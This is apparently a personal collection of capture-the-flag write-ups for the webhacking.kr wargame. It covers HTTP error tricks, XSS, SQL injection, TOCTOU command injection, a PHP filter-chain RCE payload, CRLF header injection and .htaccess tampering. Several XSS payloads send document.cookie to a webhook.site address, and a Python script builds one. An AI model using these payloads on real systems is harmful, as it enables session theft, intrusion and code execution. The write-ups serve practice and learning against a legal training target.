Avishai's CTF Writeups

...

View on GitHub

← Back to webhacking.kr

This folder contains solutions for the Webhacking.kr wargame from webhacking.kr.

4xx

Here we need to send requests that gives us different http codes, each code will give us a key. We need to achieve 9 KEYS at all, and then we can achieve the flag.

400 Bad Request

GET /img/ HTTP/1.1
Host: webhacking.kr:10022
Host: webhacking.kr:10022

KEY{10fac9b9f4112a1d9a650fec275bf164}

403 Forbidden

GET /img/ HTTP/1.1
Host: webhacking.kr:10022

KEY{cd79de80772c1873bcf63e41e3379c6f}

404 Not Found

GET /not_found HTTP/1.1
Host: webhacking.kr:10022

KEY{23c0b3a9ccc44b72f17a99eadb351d2f}

405 Method Not Allowed

TRACE / HTTP/1.1
Host: webhacking.kr:10022

KEY{e5602408f2037c05bbbb0995fec6bc58}

408 Request Timeout

GET / HTTP/1.1
Host:webhacking.kr:10022

send without blank lines at the end, so the error will fault

KEY{e44fa3e1865a3839cbc0b658f1ae08cf}

412 Precondition Failed

GET /img/flag.png HTTP/1.1
Host: webhacking.kr:10022
If-Match: "invalidetag"

KEY{cd7609461c0dbe41a9137056fa4085e2}

414 Request-URI Too Long

GET /?key1=[a * 40000] HTTP/1.1
Host: webhacking.kr:10022

KEY{d1617527ac2143863bc347c6123ed921}

416 Requested Range Not Satisfiable

GET / HTTP/1.1
Host: webhacking.kr:1002
Range: bytes=999999-1000000

KEY{622eced9aa42670c10ee74d29e58e5eb}

417 Expectation Failed

GET / HTTP/1.1
Host: webhacking.kr:10022
Expect: 1337-mode

KEY{ed2dd6cb38fe6a4a10e46d22d20047e6}

FINAL image

Flag: FLAG{iViZGYM7K5I}

Next Level Writeup

BABY

Here we can inject tag, we can inject this: <base href="ourDomain.com">

Then, the admin will go there. I just put script.js on my github pages, this is the script.js file:

window.location.href = "https://webhook.site/b9845d0e-4624-4ee7-89c9-90bfd2b1d3eb/?cookies="+document.cookie;

And then, just give this payload to the admin:

?inject=<base href="https://avishaigonen123.github.io/">

win picutre

Flag: FLAG{base_is_basic}

Next Level Writeup

baby_toctou

There is some flaw in the api.php file, that can let us inject our payload to the code that will get run, because the server wait for 1 second before executing the system function. here is the source code: [baby_toctou]

import requests


URL = "http://webhacking.kr:10019/api.php"
SESSION_ID = "42k3odbmn13sus7k9ad4nestaq"
cookies = {'PHPSESSID':SESSION_ID, 'baby_toctou':'68064f8a2fa2b55643158'}

params ={'q':'cat flag.php'}
while True:
    response = requests.get(URL, params=params, cookies=cookies)
    print(response.text)


we need to inject our code using the script, and then just asking for “ls” from the server, while the script is running. example

Flag: FLAG{Mama_i_know_how_toctou_works}

Next Level Writeup

CHILD

Here we can run scripts only from the subdomain of *.google.com.

However, using this github repo JSONBee, we can find snippets that let us run our code :)

I am using this snippet:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

And, as you can see: XSS poc

This will be our payload to the admin:

?inject=?inject=<script%20src="https://accounts.google.com/o/oauth2/revoke?callback=fetch(%27https://webhook.site/b9845d0e-4624-4ee7-89c9-90bfd2b1d3eb/?cookies=%27%252bdocument.cookie);"></script>

notice to base encode + twice.

win picutre

Flag: FLAG{I_hacked_google.com_and_it_was_ezpz}

Next Level Writeup

child_toctou

NOT SOLVED YET, need VPS :(

I’ve got the main idea, which is making my own server after 1 second that will point to “webhacking.kr” (use DNS somehow), and then open there the port 10020, and there i’ll server /cmd/api.txt, where api.txt contain the command i want, in this case cat flag.php

i can use this: https://github.com/l4rzy/l4rzy.github.io/commit/0f9c7f5e53ac9693351bf6cdb955010748a5f19d, link for someone who solved this challange

here is the source code: [child_toctou]

import requests


URL = "http://webhacking.kr:10020/api.php"
SESSION_ID = "42k3odbmn13sus7k9ad4nestaq"
cookies = {'PHPSESSID':SESSION_ID}

params ={'q':'ls'}
while True:
    response = requests.get(URL, params=params, cookies=cookies)
    print(response.text)


Flag: ``

Next Level Writeup

g00gle1

here it was very simple… I just searched in the source code for “flag”

Flag: FLAG{how_can_i_pwn_googl3?}

Next Level Writeup

g00gle2

here we can see that in the beginning the flag was exist, and then, during the fetching of the data, it has been changed.

I sniffed the packets using the browser, and after some minutes i’ve found the packet where the flag isn’t censored yet, this is in fetchData alt text

Flag: FLAG{now_i_pwned_googl3?}

Next Level Writeup

invisible_dragon

Here we can bypass this:

if (preg_match('/session/isUD', $_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

by inject our payload: _SESS%49ON[format] I => %49 Then, it will override:

parse_str($_SERVER['QUERY_STRING'], $arr);
foreach ($arr as $key => $value) {
    $$key = $value;
}

And by this way, we can inject our own: _SESSION[format].

Next, we will build our payload for Blind SQLi: select * from prob_invisible_dragon where convert(secret,char(1))='F' Where each time we find the character, and by this way leak the flag.

FLAG image So, let’s write our script: [invisible_dragon.py]

{% include_relative scripts/invisible_dragon.py %}

Flag: FLAG{recycle_reuse_ecyce}

Next Level Writeup

MEMO_Service
That was tough :

XSS Injection

First, we need to be able to XSS injection the website. There is bug in the snprintf.js file, that you can insert %3c, and then it’ll take the next memo[i], and will execute:

arg = String.fromCharCode(parseInt(arg, 10))

By this way, we can give this cookie for example: ["%3c><img src=x onerror=alert('XSS-injectoin****(~-_-~)****')>","39"] base64 encode: WyIlM2M+PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdYU1MtaW5qZWN0b2luKioqKih+LV8tfikqKioqJyk+IiwiMzkiXQ==

XSS injection

You can use this script [cookie_build.py]

import base64

def get_js(s):
    nums = ",".join(str(ord(c)) for c in s)
    return f"eval(String.fromCharCode({nums}))"

# Example usage:
["%3c><img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,72,101,108,108,111,44,32,87,111,114,108,100,33,39,41))>","39"]

URL = "https://webhook.site/aa35b748-13d9-4045-88e6-be0041c07805"
code = f"fetch('{URL}?cookies=' + document.cookie)"

payload = get_js(code)

lst = '["%3c><img src=x onerror=' + payload + '>","39"]'

encoded_list = base64.b64encode(lst.encode()).decode()

print("The cookie will be:\n{}".format(encoded_list))

, for building your cookie, Change the URL, for your own webhook.

Path Traversal

Ngnix is vulnerable to path traversal with this encoded slash %2f, we can go here: /static/favicon.ico%2f..%2f..%2f, and by this way access the home page.

Header Injection Using CLRF

We can inject the favicon.ico using CLRF, and by this way modify the request. header Injection

ATTACK

we send the admin to the vulnerable page using the header Injection, and the path traversal. Then, we send in the headers Set-Cookie, and send the cookie that cause the XSS Injection.

At the end, this is what we’ll supply to the report page favicon.ico%2f..%252f..%2f%0d%0aSet-Cookie:memo=ourMaliciousCookie

MEMO_final

Flag: FLAG{giant_double_burger}

Next Level Writeup

NotSQL

In this challenge we exploit vulnerabilities in GraphQL

First we get all of the types:

{__schema{types{name}}}
{
  "data": {
    "__schema": {
      "types": [
        {"name": "Board"},
        {"name": "Int"},
        {"name": "String"},
        {"name": "User_d51e7f78cbb219316e0b7cfe1a64540a"}, // INTERESTING
        {"name": "Query"},
        {"name": "CacheControlScope"},
        {"name": "Upload"},
        {"name": "Boolean"},
        {"name": "__Schema"},
        {"name": "__Type"},
        {"name": "__TypeKind"},
        {"name": "__Field"},
        {"name": "__InputValue"},
        {"name": "__EnumValue"},
        {"name": "__Directive"},
        {"name": "__DirectiveLocation"}
      ]
    }
  }
}

next, we want to find the fields of this type:

{__type(name:"User_d51e7f78cbb219316e0b7cfe1a64540a"){fields{name}}}
{
  "data": {
    "__type": {
      "fields": [
        {"name": "userid_a7fce99fa52d173843130a9620a787ce"},
        {"name": "passwd_e31db968948082b92e60411dd15a25cd"}
      ]
    }
  }
}

Now, we will check what are the available queries.

{__type(name:"Query"){fields{name}}}
{
  "data": {
    "__type": {
      "fields": [
        {"name": "view"},
        {"name": "login_51b48f6f7e6947fba0a88a7147d54152"}
      ]
    }
  }
}

OK, so there is a query that’s called: login_51b48f6f7e6947fba0a88a7147d54152, and we know the name of the fields. let’s try to give them to the query:

{login_51b48f6f7e6947fba0a88a7147d54152{userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd}}
{
  "data": {
    "login_51b48f6f7e6947fba0a88a7147d54152": [
      {
        "userid_a7fce99fa52d173843130a9620a787ce": "test-user",
        "passwd_e31db968948082b92e60411dd15a25cd": "test-password"
      },
      {
        "userid_a7fce99fa52d173843130a9620a787ce": "admin",
        "passwd_e31db968948082b92e60411dd15a25cd": "FLAG{i_know_how_to_use_graphql}" // <---
      }
    ]
  }
}

FLAG

Flag: FLAG{i_know_how_to_use_graphql}

Next Level Writeup

old-01

cookie user-lvl between 4 and 3, eg, 3.5

Next Level Writeup

old-02

here we use blind sqli based on time variant.

In the comment there is a time that getting changed based on the cookie, and we can see the time changed.

here is the source code: [old-02]

{% include_relative scripts/old-02.py %}

at the end, the password is kudos_to_beistlab

Next Level Writeup

old-03

another sql injection. here is the source code: [old-03]

{% include_relative scripts/old-03.py %}
Next Level Writeup

old-04

in this challenge, we do dictionary attack, based on well known salt. we need to calculate as much hashes as possible.

This is the source code: [old-04]

{% include_relative scripts/old-04.py %}

there is an example of how the dictionary should look like, i gave you only 1000 rows… you need to generate much more rows: [hash-dictionry-old-4]

% scripts/hash-dictionry-old-4.txt

then, you will refresh the page until there is some hash you can find in the dictionary. note: as much time you let the script run, more rows you will craft. I believe 30 minutes should be enough.

alt text

:)

Next Level Writeup

old-05

as we can see, the login page redirects us to ./mem/login.php. so, there might be also ./mem/join.php. we will go there:


in this page there is js obfuscated, let's use some online tool like https://beautifier.io/ and achieve more nice looking code. 
here is the source code: [old-05]
```js
{% include_relative scripts/old-05.js %}

after research the code, we come to conclusion that there need to be a cookie with the name oldzombie, and also, we need to set the param mode to 1. so, https://webhacking.kr/challenge/web-05/mem/join.php?mode=1

now, let’s add this user: username: ` admin password: 123`

i added space in purpose, this is part of the challenge. finally, let’s go back to the login page and insert those credentials.

Next Level Writeup

old-06

here is the source code: [old-06]

{% include_relative scripts/old-06.py %}
Next Level Writeup

old-07

here there is another sql challenge:

alt text

this is the payload we will give: 3)UNION(SELECT(10%258) which equivalent to 3) UNION (SELECT ( 10 % 8 ) and as you know, 10 % 8 = 2 and that’s what we need.

you’ll need to refresh the page couple of times until the random will heat 1.

https://webhacking.kr/challenge/web-07/index.php?val=3)UNION(SELECT(10%258)
Next Level Writeup

old-08

here there is another sql challenge. in this challenge we change the user-agent in order to manipulate the sql insert.

this is the source code: [old-08]

{% include_relative scripts/old-08.py %}
Next Level Writeup

old-09

another sql injection, here we can modify between True and False by Apple and Banana. [old-09]

{% include_relative scripts/old-09.py %}

the password id alsrkswhaql

Next Level Writeup

old-10

alt text

here, i changed my position to 1599 in the left, and then clicked once on the ‘O’.

then it redirect you me to the solve message.

Next Level Writeup

old-11

in this challenge we need to give something that answer to the requirements here:

alt text

1aaaaa_{your_ip}%09p%09a%09s%09s

https://webhacking.kr/challenge/code-2/?val=1aaaaa_185.177.125.211%09p%09a%09s%09s
Next Level Writeup

old-12

first we can see that the js is encoded with aaencode. let’s decode it using websites like https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html.

we can paste the js code we got, and see what the if checks: alt text

we got this string =youaregod~~~~~~~! let’s go the url: https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php

Next Level Writeup

old-13

Another sql injection. Here i maid some fancy script, i should use it in the future.

[old-13]

{% include_relative scripts/old-13.py %}

Flag: FLAG{challenge13gummyclear}

Next Level Writeup

old-14

in the source code we can see this: alt text

we will calculate the value of ul: 540

and then we’ll go to 540*540=291600

let’s go to the url they say: https://webhacking.kr/challenge/js-1/?291600

Next Level Writeup

old-15

press ctrl+U to get the source code.

alt text

let’s go to the url they say: https://webhacking.kr/challenge/js-2/?getFlag

Next Level Writeup

old-16

i can see in the source code this interesting code: alt text

in the last line i see the comment, so i decided to go there: https://webhacking.kr/challenge/js-3/|.php

and if we go there, we managed to pass the challenge

Next Level Writeup

old-17

calculate this val:

unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;

and get: 7809297.1

then, insert it in the box

Next Level Writeup

old-18

this challange is SQL injection. this is the payload: 2%09or%09id%09LIKE%09%27admin%27%09--%09

if we’ll URL-decode this, we’ll get this: 2 or id LIKE 'admin' --

Next Level Writeup

old-19

in the cookie user id you need to insert the next value:

MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE4Mjc3ZTA5MTBkNzUwMTk1YjQ0ODc5NzYxNmUwOTFhZDZmOGY1NzcxNTA5MGRhMjYzMjQ1Mzk4OGQ5YTE1MDFiODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE3YjhiOTY1YWQ0YmNhMGU0MWFiNTFkZTdiMzEzNjNhMQ==

you can find the code that generate this here: [old-19]

{% include_relative scripts/old-19.py %}
Next Level Writeup

old-20

here you need to do the captcha fast enough… the solution is in the source code: [old-20]

{% include_relative scripts/old-20.py %}
Next Level Writeup

old-21

in this challenge there is basic sql injection, and finding the password using brute force.

source code: [old-21]

{% include_relative scripts/old-21.py %}

the result will be: username: admin password: there_is_no_rest_for_the_white_angel

Next Level Writeup

old-22

Here this is sql injection, when we can extract the MD5 hash of the password. We know that when we assign a user, it appends apple as a salt to the end of the password and then MD5 hash it.

source code: [old-22]

{% include_relative scripts/old-22.py %}

Here you can see the script in action. Hash extract

Then, we will go to this website reverse md5, and find out that the reversed hash is wowapple, means the password is wow

the result will be: username: admin password: wow

Next Level Writeup

old-23

we will add null after each character

solution in [old-23]

{% include_relative scripts/old-23.py %}
Next Level Writeup

old-24

solution in [old-24]

{% include_relative scripts/old-24.py %}
Next Level Writeup

old-25 RevengE

Here we face the problem that flag is inside flag.txt.

I googled about this problem, and found this interesting article: php wrapper && LFI-to-RCE

So, I installed this repo php_filter_chain_generator, and then run this command:

python php_filter_chain_generator.py --chain "<?php echo system('cat flag.txt') ?>"

Now, all left is to pick the payload:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

And get the flag!

FLAG

Flag: FLAG{I_Really_W@nt_to_Stay_At_Your_House}

Next Level Writeup

old-25

insert this payload: php://filter/convert.base64-encode/resource=flag

and then you will receive the encoded flag:

PD9waHAKICBlY2hvICJGTEFHIGlzIGluIHRoZSBjb2RlIjsKICAkZmxhZyA9ICJGTEFHe3RoaXNfaXNfeW91cl9maXJzdF9mbGFnfSI7Cj8+Cg==

Flag: FLAG{this_is_your_first_flag}

Next Level Writeup

old-26

i can see that this take the ‘id’ and decode it, so let’s insert encoded ‘admin’

you can find the code that generate this here: [old-26]

{% include_relative scripts/old-26.py %}
Next Level Writeup

old-27

we will insert this payload: 0)||id%0blike%0b%27admin%27--%0b

this is equivalent to this: 0) or id like 'admin'--

Next Level Writeup

old-28

here we can see we can upload files, and when we try to go to http://webhacking.kr:10002/upload/jTH2HlN7aYbv/flag.php, we get empty page. That’s because there is a php file there, and we can’t read the code.

After i tried to access file who isn’t exist, i’ve got an error message that indicate we’re using an apache server. Thus, we might control the .htaccess file by uploading our file, and writing into it: php_flag engine off.

That’s what i did, using BurpSuite alt text

After that, we can access the flag and see it, because it isn’t executing php anymore.

Flag: FLAG{easy_peasy_apachy}

Next Level Writeup

old-29

this is another sql injection challenge. I think the sql query is like that: INSERT INTO table Values (filename), so, we need to see what are the next columns, there are 2 options:

(filename, ip, time)
(filename, time, ip)

my-ip = 149.102.239.232 let’s try each of this methods, and see which one works.

  1. file', '149.102.239.232', 0)#
  2. file', 0, '149.102.239.232')#

the second method works!

alt text

now, let’s insert this payload, in order to find the database:

file', 0, '149.102.239.232'), ((select database()), 0, '149.102.239.232')# 

database: chall29

retrieve tables:

file', 0, '149.102.239.232'), ((select group_concat(table_name) from information_schema.tables where table_schema='chall29'), 0, '149.102.239.232')# 

tables: files,flag_congratz

retrieve columns:

file', 0, '149.102.239.232'), ((select group_concat(column_name) from information_schema.columns where table_name='flag_congratz'), 0, '149.102.239.232')# 

columns: flag

now, only need to achieve the flag:

file', 0, '149.102.239.232'), ((select flag from flag_congratz), 0, '149.102.239.232')# 

flag: FLAG{didYouFeelConfused?_sorry:)}

Flag: FLAG{didYouFeelConfused?_sorry:)}

Next Level Writeup

old-30

Here we can see it tries to connect to a mySQL server, but doesn’t supply parameters to the mysqli_connect function:

<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>

Configuration Injection

So, according to default config files location, so, we can upload our own .htaccess file, and there set the default mySQL server.

Our .htaccess file, fill the fields with your credentials:

php_value mysqli.default_port "...."
php_value mysqli.default_host "...."
php_value mysqli.default_user "...."
php_value mysqli.default_pw "...."

Setting our MySQL server

I used this free website Free My SQL server hosting, after creating my free service, i connected to my SQL server: mysql --user username --password=password --host yoursubdomain.aivencloud.com --port ????? defaultdb

Then, in the command line i ran those commands:

Create DATABASE chall30;
use chall30;

Create TABLE chall30_answer (flag VARCHAR(30) PRIMARY KEY);
Insert into chall30_answer (flag) VALUES ('hello world!');
select * from chall30_answer;   ### checking

### changing from "caching_sha2_password" to "mysql_native_password"

use mysql
ALTER USER 'username'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
select user,plugin from user;   ### checking

FLAG

Flag: FLAG{uhoh-db-connection-hijacking?}

Next Level Writeup

old-31

in this challenge we will open port for the public internet using ngrok. ngrok tcp 1337

example

then, we will use nc to listen for the port: nc -nlvp 1337

and finally, we will take the address ngrok generated for us: 2.tcp.eu.ngrok.io:12101 and put it in the server

example

Flag: FLAG{i_have_a_big_and_beautiful_server}

Next Level Writeup

old-32

solution in [old-32]

{% include_relative scripts/old-32.py %}

you need to send enough messages in order to be the first one

example

Next Level Writeup

old-33

this challange will be long, each time you will need to do something different until you finish it.

  1. https://webhacking.kr/challenge/bonus-6/?get=hehe

there are bunch of levels, i’ve got no time to explain all. you can see the solution in the source code: [old-33]

{% include_relative scripts/old-33.py %}

in the last stage, you need to run this, and the go to the URL+what the script prints

<?php
$ip = 'YOUR IP';
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);

echo "answerip/{$answer}_{$ip}.php"

?>

(this works for me, assume we don’t have the same ip it won’t work for you) https://webhacking.kr/challenge/bonus-6/answerip/28287759875_5657551975.php

Next Level Writeup

old-34

as we can see, there is some messy javascript code:

example

let’s try to beautifier it in https://beautifier.io/ and analyze the code [old-34]

{% include_relative scripts/old-34.js %}

i saw this if statement:

if (location[b("0x19", "iUmC")][b("0x1a", "6]r1")](1) == b("0x1b", "RLUb"))
    location[b("0x1c", "4c%d")] = b("0x1d", "llaF"); 
else 
    alert(b("0x1e", "14cN"));

let’s try to see what does the alert prints b("0x1e", "14cN")

example

interesting… so, let’s try to run the code in the if statement location[b("0x1c", "4c%d")] = b("0x1d", "llaF");

this takes us to this url: https://webhacking.kr/challenge/js-7/?Passw0RRdd=1 and the is challenge over.

Next Level Writeup

old-35

another sql injection. here this is the payload we insert: id=1 phone=1),(%27admin%27,%27{your-ip}%27,2

which is equivalent to 1),('admin','{your-ip}', 2.

I checked before and learn how the insert command is looks like, the format is like this: INSERT Values(id, IP, phone)

then, when he sees your IP address has admin id, it solves the challenge.

https://webhacking.kr/challenge/web-17/index.php?id=1&phone=1),(%27admin%27,%27185.177.125.211%27,2
Next Level Writeup

old-36

